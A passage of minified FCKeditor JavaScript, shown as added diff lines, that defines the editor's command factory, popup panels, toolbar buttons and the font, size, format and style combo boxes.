FCKPasteWordCommand();break;case 'TableInsertRow':B=new FCKTableCommand('TableInsertRow');break;case 'TableDeleteRows':B=new FCKTableCommand('TableDeleteRows');break;case 'TableInsertColumn':B=new FCKTableCommand('TableInsertColumn');break;case 'TableDeleteColumns':B=new FCKTableCommand('TableDeleteColumns');break;case 'TableInsertCell':B=new FCKTableCommand('TableInsertCell');break;case 'TableDeleteCells':B=new FCKTableCommand('TableDeleteCells');break;case 'TableMergeCells':B=new FCKTableCommand('TableMergeCells');break;case 'TableSplitCell':B=new FCKTableCommand('TableSplitCell');break;case 'TableDelete':B=new FCKTableCommand('TableDelete');break;case 'Form':B=new FCKDialogCommand('Form',FCKLang.Form,'dialog/fck_form.html',380,230);break;case 'Checkbox':B=new FCKDialogCommand('Checkbox',FCKLang.Checkbox,'dialog/fck_checkbox.html',380,230);break;case 'Radio':B=new FCKDialogCommand('Radio',FCKLang.RadioButton,'dialog/fck_radiobutton.html',380,230);break;case 'TextField':B=new FCKDialogCommand('TextField',FCKLang.TextField,'dialog/fck_textfield.html',380,230);break;case 'Textarea':B=new FCKDialogCommand('Textarea',FCKLang.Textarea,'dialog/fck_textarea.html',380,230);break;case 'HiddenField':B=new FCKDialogCommand('HiddenField',FCKLang.HiddenField,'dialog/fck_hiddenfield.html',380,230);break;case 'Button':B=new FCKDialogCommand('Button',FCKLang.Button,'dialog/fck_button.html',380,230);break;case 'Select':B=new FCKDialogCommand('Select',FCKLang.SelectionField,'dialog/fck_select.html',400,380);break;case 'ImageButton':B=new FCKDialogCommand('ImageButton',FCKLang.ImageButton,'dialog/fck_image.html?ImageButton',450,400);break;case 'SpellCheck':B=new FCKSpellCheckCommand();break;case 'FitWindow':B=new FCKFitWindow();break;case 'Undo':B=new FCKUndoCommand();break;case 'Redo':B=new FCKRedoCommand();break;case 'Undefined':B=new FCKUndefinedCommand();break;default:if (FCKRegexLib.NamedCommands.test(A)) B=new FCKNamedCommand(A);else{alert(FCKLang.UnknownCommand.replace(/%1/g,A));return null;}};FCKCommands.LoadedCommands[A]=B;return B;};FCKCommands.GetFullPageState=function(){return FCKConfig.FullPage?FCK_TRISTATE_OFF:FCK_TRISTATE_DISABLED;};
+var FCKPanel=function(A){this.IsRTL=(FCKLang.Dir=='rtl');this.IsContextMenu=false;this._LockCounter=0;this._Window=A||window;var B;if (FCKBrowserInfo.IsIE){this._Popup=this._Window.createPopup();B=this.Document=this._Popup.document;}else{var C=this._IFrame=this._Window.document.createElement('iframe');C.src='javascript:void(0)';C.allowTransparency=true;C.frameBorder='0';C.scrolling='no';C.style.position='absolute';C.style.zIndex=FCKConfig.FloatingPanelsZIndex;C.width=C.height=0;if (this._Window==window.parent&&window.frameElement) window.frameElement.parentNode.insertBefore(C,window.frameElement);else this._Window.document.body.appendChild(C);var D=C.contentWindow;B=this.Document=D.document;B.open();B.write('<html><head></head><body style="margin:0px;padding:0px;"><\/body><\/html>');B.close();FCKTools.AddEventListenerEx(D,'focus',FCKPanel_Window_OnFocus,this);FCKTools.AddEventListenerEx(D,'blur',FCKPanel_Window_OnBlur,this);};B.dir=FCKLang.Dir;B.oncontextmenu=FCKTools.CancelEvent;this.MainNode=B.body.appendChild(B.createElement('DIV'));this.MainNode.style.cssFloat=this.IsRTL?'right':'left';if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKPanel_Cleanup);};FCKPanel.prototype.AppendStyleSheet=function(A){FCKTools.AppendStyleSheet(this.Document,A);};FCKPanel.prototype.Preload=function(x,y,A){if (this._Popup) this._Popup.show(x,y,0,0,A);};FCKPanel.prototype.Show=function(x,y,A,B,C){if (this._Popup){this._Popup.show(x,y,0,0,A);this.MainNode.style.width=B?B+'px':'';this.MainNode.style.height=C?C+'px':'';var D=this.MainNode.offsetWidth;if (this.IsRTL){if (this.IsContextMenu) x=x-D+1;else if (A) x=(x*-1)+A.offsetWidth-D;};this._Popup.show(x,y,D,this.MainNode.offsetHeight,A);if (this.OnHide){if (this._Timer) CheckPopupOnHide.call(this,true);this._Timer=FCKTools.SetInterval(CheckPopupOnHide,100,this);}}else{if (typeof(FCKFocusManager)!='undefined') FCKFocusManager.Lock();if (this.ParentPanel) this.ParentPanel.Lock();this.MainNode.style.width=B?B+'px':'';this.MainNode.style.height=C?C+'px':'';var D=this.MainNode.offsetWidth;if (!B)	this._IFrame.width=1;if (!C)	this._IFrame.height=1;D=this.MainNode.offsetWidth;var F=FCKTools.GetElementPosition((A.nodeType==9?A.body:A),this._Window);if (this.IsRTL&&!this.IsContextMenu) x=(x*-1);x+=F.X;y+=F.Y;if (this.IsRTL){if (this.IsContextMenu) x=x-D+1;else if (A) x=x+A.offsetWidth-D;}else{var G=FCKTools.GetViewPaneSize(this._Window);var H=FCKTools.GetScrollPosition(this._Window);var I=G.Height+H.Y;var J=G.Width+H.X;if ((x+D)>J) x-=x+D-J;if ((y+this.MainNode.offsetHeight)>I) y-=y+this.MainNode.offsetHeight-I;};if (x<0) x=0;this._IFrame.style.left=x+'px';this._IFrame.style.top=y+'px';var K=D;var L=this.MainNode.offsetHeight;this._IFrame.width=K;this._IFrame.height=L;this._IFrame.contentWindow.focus();};this._IsOpened=true;FCKTools.RunFunction(this.OnShow,this);};FCKPanel.prototype.Hide=function(A){if (this._Popup) this._Popup.hide();else{if (!this._IsOpened) return;if (typeof(FCKFocusManager)!='undefined') FCKFocusManager.Unlock();this._IFrame.width=this._IFrame.height=0;this._IsOpened=false;if (this.ParentPanel) this.ParentPanel.Unlock();if (!A) FCKTools.RunFunction(this.OnHide,this);}};FCKPanel.prototype.CheckIsOpened=function(){if (this._Popup) return this._Popup.isOpen;else return this._IsOpened;};FCKPanel.prototype.CreateChildPanel=function(){var A=this._Popup?FCKTools.GetParentWindow(this.Document):this._Window;var B=new FCKPanel(A,true);B.ParentPanel=this;return B;};FCKPanel.prototype.Lock=function(){this._LockCounter++;};FCKPanel.prototype.Unlock=function(){if (--this._LockCounter==0&&!this.HasFocus) this.Hide();};/* Events */ function FCKPanel_Window_OnFocus(e,panel){panel.HasFocus=true;};function FCKPanel_Window_OnBlur(e,panel){panel.HasFocus=false;if (panel._LockCounter==0) FCKTools.RunFunction(panel.Hide,panel);};function CheckPopupOnHide(forceHide){if (forceHide||!this._Popup.isOpen){window.clearInterval(this._Timer);this._Timer=null;FCKTools.RunFunction(this.OnHide,this);}};function FCKPanel_Cleanup(){this._Popup=null;this._Window=null;this.Document=null;this.MainNode=null;}
+var FCKIcon=function(A){var B=A?typeof(A):'undefined';switch (B){case 'number':this.Path=FCKConfig.SkinPath+'fck_strip.gif';this.Size=16;this.Position=A;break;case 'undefined':this.Path=FCK_SPACER_PATH;break;case 'string':this.Path=A;break;default:this.Path=A[0];this.Size=A[1];this.Position=A[2];}};FCKIcon.prototype.CreateIconElement=function(A){var B;if (this.Position){var C='-'+((this.Position-1)*this.Size)+'px';if (FCKBrowserInfo.IsIE){B=A.createElement('DIV');var D=B.appendChild(A.createElement('IMG'));D.src=this.Path;D.style.top=C;}else{B=A.createElement('IMG');B.src=FCK_SPACER_PATH;B.style.backgroundPosition='0px '+C;B.style.backgroundImage='url('+this.Path+')';}}else{B=A.createElement('DIV');var D=B.appendChild(A.createElement('IMG'));D.src=this.Path?this.Path:FCK_SPACER_PATH;};B.className='TB_Button_Image';return B;}
+var FCKToolbarButtonUI=function(A,B,C,D,E,F){this.Name=A;this.Label=B||A;this.Tooltip=C||this.Label;this.Style=E||FCK_TOOLBARITEM_ONLYICON;this.State=F||FCK_TRISTATE_OFF;this.Icon=new FCKIcon(D);if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbarButtonUI_Cleanup);};FCKToolbarButtonUI.prototype._CreatePaddingElement=function(A){var B=A.createElement('IMG');B.className='TB_Button_Padding';B.src=FCK_SPACER_PATH;return B;};FCKToolbarButtonUI.prototype.Create=function(A){var B=this.MainElement;if (B){FCKToolbarButtonUI_Cleanup.call(this);if (B.parentNode) B.parentNode.removeChild(B);B=this.MainElement=null;};var C=FCKTools.GetElementDocument(A);B=this.MainElement=C.createElement('DIV');B._FCKButton=this;B.title=this.Tooltip;if (FCKBrowserInfo.IsGecko) B.onmousedown=FCKTools.CancelEvent;this.ChangeState(this.State,true);if (this.Style==FCK_TOOLBARITEM_ONLYICON&&!this.ShowArrow){B.appendChild(this.Icon.CreateIconElement(C));}else{var D=B.appendChild(C.createElement('TABLE'));D.cellPadding=0;D.cellSpacing=0;var E=D.insertRow(-1);var F=E.insertCell(-1);if (this.Style==FCK_TOOLBARITEM_ONLYICON||this.Style==FCK_TOOLBARITEM_ICONTEXT) F.appendChild(this.Icon.CreateIconElement(C));else F.appendChild(this._CreatePaddingElement(C));if (this.Style==FCK_TOOLBARITEM_ONLYTEXT||this.Style==FCK_TOOLBARITEM_ICONTEXT){F=E.insertCell(-1);F.className='TB_Button_Text';F.noWrap=true;F.appendChild(C.createTextNode(this.Label));};if (this.ShowArrow){if (this.Style!=FCK_TOOLBARITEM_ONLYICON){E.insertCell(-1).appendChild(this._CreatePaddingElement(C));};F=E.insertCell(-1);var G=F.appendChild(C.createElement('IMG'));G.src=FCKConfig.SkinPath+'images/toolbar.buttonarrow.gif';G.width=5;G.height=3;};F=E.insertCell(-1);F.appendChild(this._CreatePaddingElement(C));};A.appendChild(B);};FCKToolbarButtonUI.prototype.ChangeState=function(A,B){if (!B&&this.State==A) return;var e=this.MainElement;switch (parseInt(A)){case FCK_TRISTATE_OFF:e.className='TB_Button_Off';e.onmouseover=FCKToolbarButton_OnMouseOverOff;e.onmouseout=FCKToolbarButton_OnMouseOutOff;e.onclick=FCKToolbarButton_OnClick;break;case FCK_TRISTATE_ON:e.className='TB_Button_On';e.onmouseover=FCKToolbarButton_OnMouseOverOn;e.onmouseout=FCKToolbarButton_OnMouseOutOn;e.onclick=FCKToolbarButton_OnClick;break;case FCK_TRISTATE_DISABLED:e.className='TB_Button_Disabled';e.onmouseover=null;e.onmouseout=null;e.onclick=null;bEnableEvents=false;break;};this.State=A;};function FCKToolbarButtonUI_Cleanup(){if (this.MainElement){this.MainElement._FCKButton=null;this.MainElement=null;}};function FCKToolbarButton_OnMouseOverOn(){this.className='TB_Button_On_Over';};function FCKToolbarButton_OnMouseOutOn(){this.className='TB_Button_On';};function FCKToolbarButton_OnMouseOverOff(){this.className='TB_Button_Off_Over';};function FCKToolbarButton_OnMouseOutOff(){this.className='TB_Button_Off';};function FCKToolbarButton_OnClick(e){if (this._FCKButton.OnClick) this._FCKButton.OnClick(this._FCKButton);};
+var FCKToolbarButton=function(A,B,C,D,E,F,G){this.CommandName=A;this.Label=B;this.Tooltip=C;this.Style=D;this.SourceView=E?true:false;this.ContextSensitive=F?true:false;if (G==null) this.IconPath=FCKConfig.SkinPath+'toolbar/'+A.toLowerCase()+'.gif';else if (typeof(G)=='number') this.IconPath=[FCKConfig.SkinPath+'fck_strip.gif',16,G];};FCKToolbarButton.prototype.Create=function(A){this._UIButton=new FCKToolbarButtonUI(this.CommandName,this.Label,this.Tooltip,this.IconPath,this.Style);this._UIButton.OnClick=this.Click;this._UIButton._ToolbarButton=this;this._UIButton.Create(A);};FCKToolbarButton.prototype.RefreshState=function(){var A=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetState();if (A==this._UIButton.State) return;this._UIButton.ChangeState(A);};FCKToolbarButton.prototype.Click=function(){var A=this._ToolbarButton||this;FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(A.CommandName).Execute();};FCKToolbarButton.prototype.Enable=function(){this.RefreshState();};FCKToolbarButton.prototype.Disable=function(){this._UIButton.ChangeState(FCK_TRISTATE_DISABLED);}
+var FCKSpecialCombo=function(A,B,C,D,E){this.FieldWidth=B||100;this.PanelWidth=C||150;this.PanelMaxHeight=D||150;this.Label='&nbsp;';this.Caption=A;this.Tooltip=A;this.Style=FCK_TOOLBARITEM_ICONTEXT;this.Enabled=true;this.Items=new Object();this._Panel=new FCKPanel(E||window,true);this._Panel.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');this._PanelBox=this._Panel.MainNode.appendChild(this._Panel.Document.createElement('DIV'));this._PanelBox.className='SC_Panel';this._PanelBox.style.width=this.PanelWidth+'px';this._PanelBox.innerHTML='<table cellpadding="0" cellspacing="0" width="100%" style="TABLE-LAYOUT: fixed"><tr><td nowrap></td></tr></table>';this._ItemsHolderEl=this._PanelBox.getElementsByTagName('TD')[0];if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKSpecialCombo_Cleanup);};function FCKSpecialCombo_ItemOnMouseOver(){this.className+=' SC_ItemOver';};function FCKSpecialCombo_ItemOnMouseOut(){this.className=this.originalClass;};function FCKSpecialCombo_ItemOnClick(){this.className=this.originalClass;this.FCKSpecialCombo._Panel.Hide();this.FCKSpecialCombo.SetLabel(this.FCKItemLabel);if (typeof(this.FCKSpecialCombo.OnSelect)=='function') this.FCKSpecialCombo.OnSelect(this.FCKItemID,this);};FCKSpecialCombo.prototype.AddItem=function(A,B,C,D){var E=this._ItemsHolderEl.appendChild(this._Panel.Document.createElement('DIV'));E.className=E.originalClass='SC_Item';E.innerHTML=B;E.FCKItemID=A;E.FCKItemLabel=C||A;E.FCKSpecialCombo=this;E.Selected=false;if (FCKBrowserInfo.IsIE) E.style.width='100%';if (D) E.style.backgroundColor=D;E.onmouseover=FCKSpecialCombo_ItemOnMouseOver;E.onmouseout=FCKSpecialCombo_ItemOnMouseOut;E.onclick=FCKSpecialCombo_ItemOnClick;this.Items[A.toString().toLowerCase()]=E;return E;};FCKSpecialCombo.prototype.SelectItem=function(A){A=A?A.toString().toLowerCase():'';var B=this.Items[A];if (B){B.className=B.originalClass='SC_ItemSelected';B.Selected=true;}};FCKSpecialCombo.prototype.SelectItemByLabel=function(A,B){for (var C in this.Items){var D=this.Items[C];if (D.FCKItemLabel==A){D.className=D.originalClass='SC_ItemSelected';D.Selected=true;if (B) this.SetLabel(A);}}};FCKSpecialCombo.prototype.DeselectAll=function(A){for (var i in this.Items){this.Items[i].className=this.Items[i].originalClass='SC_Item';this.Items[i].Selected=false;};if (A) this.SetLabel('');};FCKSpecialCombo.prototype.SetLabelById=function(A){A=A?A.toString().toLowerCase():'';var B=this.Items[A];this.SetLabel(B?B.FCKItemLabel:'');};FCKSpecialCombo.prototype.SetLabel=function(A){this.Label=A.length==0?'&nbsp;':A;if (this._LabelEl) this._LabelEl.innerHTML=this.Label;};FCKSpecialCombo.prototype.SetEnabled=function(A){this.Enabled=A;this._OuterTable.className=A?'':'SC_FieldDisabled';};FCKSpecialCombo.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A);var C=this._OuterTable=A.appendChild(B.createElement('TABLE'));C.cellPadding=0;C.cellSpacing=0;C.insertRow(-1);var D;var E;switch (this.Style){case FCK_TOOLBARITEM_ONLYICON:D='TB_ButtonType_Icon';E=false;break;case FCK_TOOLBARITEM_ONLYTEXT:D='TB_ButtonType_Text';E=false;break;case FCK_TOOLBARITEM_ICONTEXT:E=true;break;};if (this.Caption&&this.Caption.length>0&&E){var F=C.rows[0].insertCell(-1);F.innerHTML=this.Caption;F.className='SC_FieldCaption';};var G=FCKTools.AppendElement(C.rows[0].insertCell(-1),'div');if (E){G.className='SC_Field';G.style.width=this.FieldWidth+'px';G.innerHTML='<table width="100%" cellpadding="0" cellspacing="0" style="TABLE-LAYOUT: fixed;"><tbody><tr><td class="SC_FieldLabel"><label>&nbsp;</label></td><td class="SC_FieldButton">&nbsp;</td></tr></tbody></table>';this._LabelEl=G.getElementsByTagName('label')[0];this._LabelEl.innerHTML=this.Label;}else{G.className='TB_Button_Off';G.innerHTML='<table title="'+this.Tooltip+'" class="'+D+'" cellspacing="0" cellpadding="0" border="0">'+'<tr>'+'<td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td>'+'<td class="TB_Text">'+this.Caption+'</td>'+'<td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td>'+'<td class="TB_ButtonArrow"><img src="'+FCKConfig.SkinPath+'images/toolbar.buttonarrow.gif" width="5" height="3"></td>'+'<td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td>'+'</tr>'+'</table>';};G.SpecialCombo=this;G.onmouseover=FCKSpecialCombo_OnMouseOver;G.onmouseout=FCKSpecialCombo_OnMouseOut;G.onclick=FCKSpecialCombo_OnClick;FCKTools.DisableSelection(this._Panel.Document.body);};function FCKSpecialCombo_Cleanup(){this._LabelEl=null;this._OuterTable=null;this._ItemsHolderEl=null;this._PanelBox=null;if (this.Items){for (var key in this.Items) this.Items[key]=null;}};function FCKSpecialCombo_OnMouseOver(){if (this.SpecialCombo.Enabled){switch (this.SpecialCombo.Style){case FCK_TOOLBARITEM_ONLYICON:this.className='TB_Button_On_Over';break;case FCK_TOOLBARITEM_ONLYTEXT:this.className='TB_Button_On_Over';break;case FCK_TOOLBARITEM_ICONTEXT:this.className='SC_Field SC_FieldOver';break;}}};function FCKSpecialCombo_OnMouseOut(){switch (this.SpecialCombo.Style){case FCK_TOOLBARITEM_ONLYICON:this.className='TB_Button_Off';break;case FCK_TOOLBARITEM_ONLYTEXT:this.className='TB_Button_Off';break;case FCK_TOOLBARITEM_ICONTEXT:this.className='SC_Field';break;}};function FCKSpecialCombo_OnClick(e){var oSpecialCombo=this.SpecialCombo;if (oSpecialCombo.Enabled){var oPanel=oSpecialCombo._Panel;var oPanelBox=oSpecialCombo._PanelBox;var oItemsHolder=oSpecialCombo._ItemsHolderEl;var iMaxHeight=oSpecialCombo.PanelMaxHeight;if (oSpecialCombo.OnBeforeClick) oSpecialCombo.OnBeforeClick(oSpecialCombo);if (FCKBrowserInfo.IsIE) oPanel.Preload(0,this.offsetHeight,this);if (oItemsHolder.offsetHeight>iMaxHeight) oPanelBox.style.height=iMaxHeight+'px';else oPanelBox.style.height='';oPanel.Show(0,this.offsetHeight,this);}};
+var FCKToolbarSpecialCombo=function(){this.SourceView=false;this.ContextSensitive=true;};function FCKToolbarSpecialCombo_OnSelect(itemId,item){FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).Execute(itemId,item);};FCKToolbarSpecialCombo.prototype.Create=function(A){this._Combo=new FCKSpecialCombo(this.GetLabel(),this.FieldWidth,this.PanelWidth,this.PanelMaxHeight,FCKBrowserInfo.IsIE?window:FCKTools.GetElementWindow(A).parent);this._Combo.Tooltip=this.Tooltip;this._Combo.Style=this.Style;this.CreateItems(this._Combo);this._Combo.Create(A);this._Combo.CommandName=this.CommandName;this._Combo.OnSelect=FCKToolbarSpecialCombo_OnSelect;};function FCKToolbarSpecialCombo_RefreshActiveItems(combo,value){combo.DeselectAll();combo.SelectItem(value);combo.SetLabelById(value);};FCKToolbarSpecialCombo.prototype.RefreshState=function(){var A;var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetState();if (B!=FCK_TRISTATE_DISABLED){A=FCK_TRISTATE_ON;if (this.RefreshActiveItems) this.RefreshActiveItems(this._Combo,B);else{if (this._LastValue!=B){this._LastValue=B;FCKToolbarSpecialCombo_RefreshActiveItems(this._Combo,B);}}}else A=FCK_TRISTATE_DISABLED;if (A==this.State) return;if (A==FCK_TRISTATE_DISABLED){this._Combo.DeselectAll();this._Combo.SetLabel('');};this.State=A;this._Combo.SetEnabled(A!=FCK_TRISTATE_DISABLED);};FCKToolbarSpecialCombo.prototype.Enable=function(){this.RefreshState();};FCKToolbarSpecialCombo.prototype.Disable=function(){this.State=FCK_TRISTATE_DISABLED;this._Combo.DeselectAll();this._Combo.SetLabel('');this._Combo.SetEnabled(false);}
+var FCKToolbarFontsCombo=function(A,B){this.CommandName='FontName';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:FCK_TOOLBARITEM_ICONTEXT;};FCKToolbarFontsCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontsCombo.prototype.GetLabel=function(){return FCKLang.Font;};FCKToolbarFontsCombo.prototype.CreateItems=function(A){var B=FCKConfig.FontNames.split(';');for (var i=0;i<B.length;i++) this._Combo.AddItem(B[i],'<font face="'+B[i]+'" style="font-size: 12px">'+B[i]+'</font>');}
+var FCKToolbarFontSizeCombo=function(A,B){this.CommandName='FontSize';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:FCK_TOOLBARITEM_ICONTEXT;};FCKToolbarFontSizeCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontSizeCombo.prototype.GetLabel=function(){return FCKLang.FontSize;};FCKToolbarFontSizeCombo.prototype.CreateItems=function(A){A.FieldWidth=70;var B=FCKConfig.FontSizes.split(';');for (var i=0;i<B.length;i++){var C=B[i].split('/');this._Combo.AddItem(C[0],'<font size="'+C[0]+'">'+C[1]+'</font>',C[1]);}}
+var FCKToolbarFontFormatCombo=function(A,B){this.CommandName='FontFormat';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:FCK_TOOLBARITEM_ICONTEXT;this.NormalLabel='Normal';this.PanelWidth=190;};FCKToolbarFontFormatCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontFormatCombo.prototype.GetLabel=function(){return FCKLang.FontFormat;};FCKToolbarFontFormatCombo.prototype.CreateItems=function(A){FCKTools.AppendStyleSheet(A._Panel.Document,FCKConfig.ToolbarComboPreviewCSS);var B=FCKLang['FontFormats'].split(';');var C={p:B[0],pre:B[1],address:B[2],h1:B[3],h2:B[4],h3:B[5],h4:B[6],h5:B[7],h6:B[8],div:B[9]};var D=FCKConfig.FontFormats.split(';');for (var i=0;i<D.length;i++){var E=D[i];var F=C[E];if (E=='p') this.NormalLabel=F;this._Combo.AddItem(E,'<div class="BaseFont"><'+E+'>'+F+'</'+E+'></div>',F);}};if (FCKBrowserInfo.IsIE){FCKToolbarFontFormatCombo.prototype.RefreshActiveItems=function(A,B){if (B==this.NormalLabel){if (A.Label!='&nbsp;') A.DeselectAll(true);}else{if (this._LastValue==B) return;A.SelectItemByLabel(B,true);};this._LastValue=B;}}
+var FCKToolbarStyleCombo=function(A,B){this.CommandName='Style';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:FCK_TOOLBARITEM_ICONTEXT;};FCKToolbarStyleCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarStyleCombo.prototype.GetLabel=function(){return FCKLang.Style;};FCKToolbarStyleCombo.prototype.CreateItems=function(A){var B=A._Panel.Document;FCKTools.AppendStyleSheet(B,FCKConfig.ToolbarComboPreviewCSS);B.body.className+=' ForceBaseFont';if (!FCKBrowserInfo.IsGecko) A.OnBeforeClick=this.RefreshVisibleItems;var C=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).Styles;for (var s in C){var D=C[s];var E;if (D.IsObjectElement) E=A.AddItem(s,s);else E=A.AddItem(s,D.GetOpenerTag()+s+D.GetCloserTag());E.Style=D;}};FCKToolbarStyleCombo.prototype.RefreshActiveItems=function(A){A.DeselectAll();var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetActiveStyles();if (B.length>0){for (var i=0;i<B.length;i++) A.SelectItem(B[i].Name);A.SetLabelById(B[0].Name);}else A.SetLabel('');};FCKToolbarStyleCombo.prototype.RefreshVisibleItems=function(A){if (FCKSelection.GetType()=='Control') var B=FCKSelection.GetSelectedElement().tagName;for (var i in A.Items){var C=A.Items[i];if ((B&&C.Style.Element==B)||(!B&&!C.Style.IsObjectElement)) C.style.display='';else C.style.display='none';}}
+var FCKToolbarPanelButton=function(A,B,C,D,E){this.CommandName=A;var F;if (E==null) F=FCKConfig.SkinPath+'toolbar/'+A.toLowerCase()+'.gif';else if (typeof(E)=='number') F=[FCKConfig.SkinPath+'fck_strip.gif',16,E];var G=this._UIButton=new FCKToolbarButtonUI(A,B,C,F,D);G._FCKToolbarPanelButton=this;G.ShowArrow=true;G.OnClick=FCKToolbarPanelButton_OnButtonClick;};FCKToolbarPanelButton.prototype.TypeName='FCKToolbarPanelButton';FCKToolbarPanelButton.prototype.Create=function(A){A.className+='Menu';this._UIButton.Create(A);var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName)._Panel;B._FCKToolbarPanelButton=this;var C=B.Document.body.appendChild(B.Document.createElement('div'));C.style.position='absolute';C.style.top='0px';var D=this.LineImg=C.appendChild(B.Document.createElement('IMG'));D.className='TB_ConnectionLine';D.src=FCK_SPACER_PATH;B.OnHide=FCKToolbarPanelButton_OnPanelHide;};function FCKToolbarPanelButton_OnButtonClick(toolbarButton){var oButton=this._FCKToolbarPanelButton;var e=oButton._UIButton.MainElement;oButton._UIButton.ChangeState(FCK_TRISTATE_ON);oButton.LineImg.style.width=(e.offsetWidth-2)+'px';FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(oButton.CommandName).Execute(0,e.offsetHeight-1,e);};function FCKToolbarPanelButton_OnPanelHide(){var oMenuButton=this._FCKToolbarPanelButton;oMenuButton._UIButton.ChangeState(FCK_TRISTATE_OFF);};FCKToolbarPanelButton.prototype.RefreshState=FCKToolbarButton.prototype.RefreshState;FCKToolbarPanelButton.prototype.Enable=FCKToolbarButton.prototype.Enable;FCKToolbarPanelButton.prototype.Disable=FCKToolbarButton.prototype.Disable;
+var FCKToolbarItems=new Object();FCKToolbarItems.LoadedItems=new Object();FCKToolbarItems.RegisterItem=function(A,B){this.LoadedItems[A]=B;};FCKToolbarItems.GetItem=function(A){var B=FCKToolbarItems.LoadedItems[A];if (B) return B;switch (A){case 'Source':B=new FCKToolbarButton('Source',FCKLang.Source,null,FCK_TOOLBARITEM_ICONTEXT,true,true,1);break;case 'DocProps':B=new FCKToolbarButton('DocProps',FCKLang.DocProps,null,null,null,null,2);break;case 'Save':B=new FCKToolbarButton('Save',FCKLang.Save,null,null,true,null,3);break;case 'NewPage':B=new FCKToolbarButton('NewPage',FCKLang.NewPage,null,null,true,null,4);break;case 'Preview':B=new FCKToolbarButton('Preview',FCKLang.Preview,null,null,true,null,5);break;case 'Templates':B=new FCKToolbarButton('Templates',FCKLang.Templates,null,null,null,null,6);break;case 'About':B=new FCKToolbarButton('About',FCKLang.About,null,null,true,null,47);break;case 'Cut':B=new FCKToolbarButton('Cut',FCKLang.Cut,null,null,false,true,7);break;case 'Copy':B=new FCKToolbarButton('Copy',FCKLang.Copy,null,null,false,true,8);break;case 'Paste':B=new FCKToolbarButton('Paste',FCKLang.Paste,null,null,false,true,9);break;case 'PasteText':B=new FCKToolbarButton('PasteText',FCKLang.PasteText,null,null,false,true,10);break;case 'PasteWord':B=new FCKToolbarButton('PasteWord',FCKLang.PasteWord,null,null,false,true,11);break;case 'Print':B=new FCKToolbarButton('Print',FCKLang.Print,null,null,false,true,12);break;case 'SpellCheck':B=new FCKToolbarButton('SpellCheck',FCKLang.SpellCheck,null,null,null,null,13);break;case 'Undo':B=new FCKToolbarButton('Undo',FCKLang.Undo,null,null,false,true,14);break;case 'Redo':B=new FCKToolbarButton('Redo',FCKLang.Redo,null,null,false,true,15);break;case 'SelectAll':B=new FCKToolbarButton('SelectAll',FCKLang.SelectAll,null,null,null,null,18);break;case 'RemoveFormat':B=new FCKToolbarButton('RemoveFormat',FCKLang.RemoveFormat,null,null,false,true,19);break;case 'FitWindow':B=new FCKToolbarButton('FitWindow',FCKLang.FitWindow,null,null,true,true,66);break;case 'Bold':B=new FCKToolbarButton('Bold',FCKLang.Bold,null,null,false,true,20);break;case 'Italic':B=new FCKToolbarButton('Italic',FCKLang.Italic,null,null,false,true,21);break;case 'Underline':B=new FCKToolbarButton('Underline',FCKLang.Underline,null,null,false,true,22);break;case 'StrikeThrough':B=new FCKToolbarButton('StrikeThrough',FCKLang.StrikeThrough,null,null,false,true,23);break;case 'Subscript':B=new FCKToolbarButton('Subscript',FCKLang.Subscript,null,null,false,true,24);break;case 'Superscript':B=new FCKToolbarButton('Superscript',FCKLang.Superscript,null,null,false,true,25);break;case 'OrderedList':B=new FCKToolbarButton('InsertOrderedList',FCKLang.NumberedListLbl,FCKLang.NumberedList,null,false,true,26);break;case 'UnorderedList':B=new FCKToolbarButton('InsertUnorderedList',FCKLang.BulletedListLbl,FCKLang.BulletedList,null,false,true,27);break;case 'Outdent':B=new FCKToolbarButton('Outdent',FCKLang.DecreaseIndent,null,null,false,true,28);break;case 'Indent':B=new FCKToolbarButton('Indent',FCKLang.IncreaseIndent,null,null,false,true,29);break;case 'Link':B=new FCKToolbarButton('Link',FCKLang.InsertLinkLbl,FCKLang.InsertLink,null,false,true,34);break;case 'Unlink':B=new FCKToolbarButton('Unlink',FCKLang.RemoveLink,null,null,false,true,35);break;case 'Anchor':B=new FCKToolbarButton('Anchor',FCKLang.Anchor,null,null,null,null,36);break;case 'Image':B=new FCKToolbarButton('Image',FCKLang.InsertImageLbl,FCKLang.InsertImage,null,false,true,37);break;case 'Flash':B=new FCKToolbarButton('Flash',FCKLang.InsertFlashLbl,FCKLang.InsertFlash,null,false,true,38);break;case 'Table':B=new FCKToolbarButton('Table',FCKLang.InsertTableLbl,FCKLang.InsertTable,null,false,true,39);break;case 'SpecialChar':B=new FCKToolbarButton('SpecialChar',FCKLang.InsertSpecialCharLbl,FCKLang.InsertSpecialChar,null,false,true,42);break;case 'Smiley':B=new FCKToolbarButton('Smiley',FCKLang.InsertSmileyLbl,FCKLang.InsertSmiley,null,false,true,41);break;case 'PageBreak':B=new FCKToolbarButton('PageBreak',FCKLang.PageBreakLbl,FCKLang.PageBreak,null,false,true,43);break;case 'UniversalKey':B=new FCKToolbarButton('UniversalKey',FCKLang.UniversalKeyboard,null,null,false,true,44);break;case 'Rule':B=new 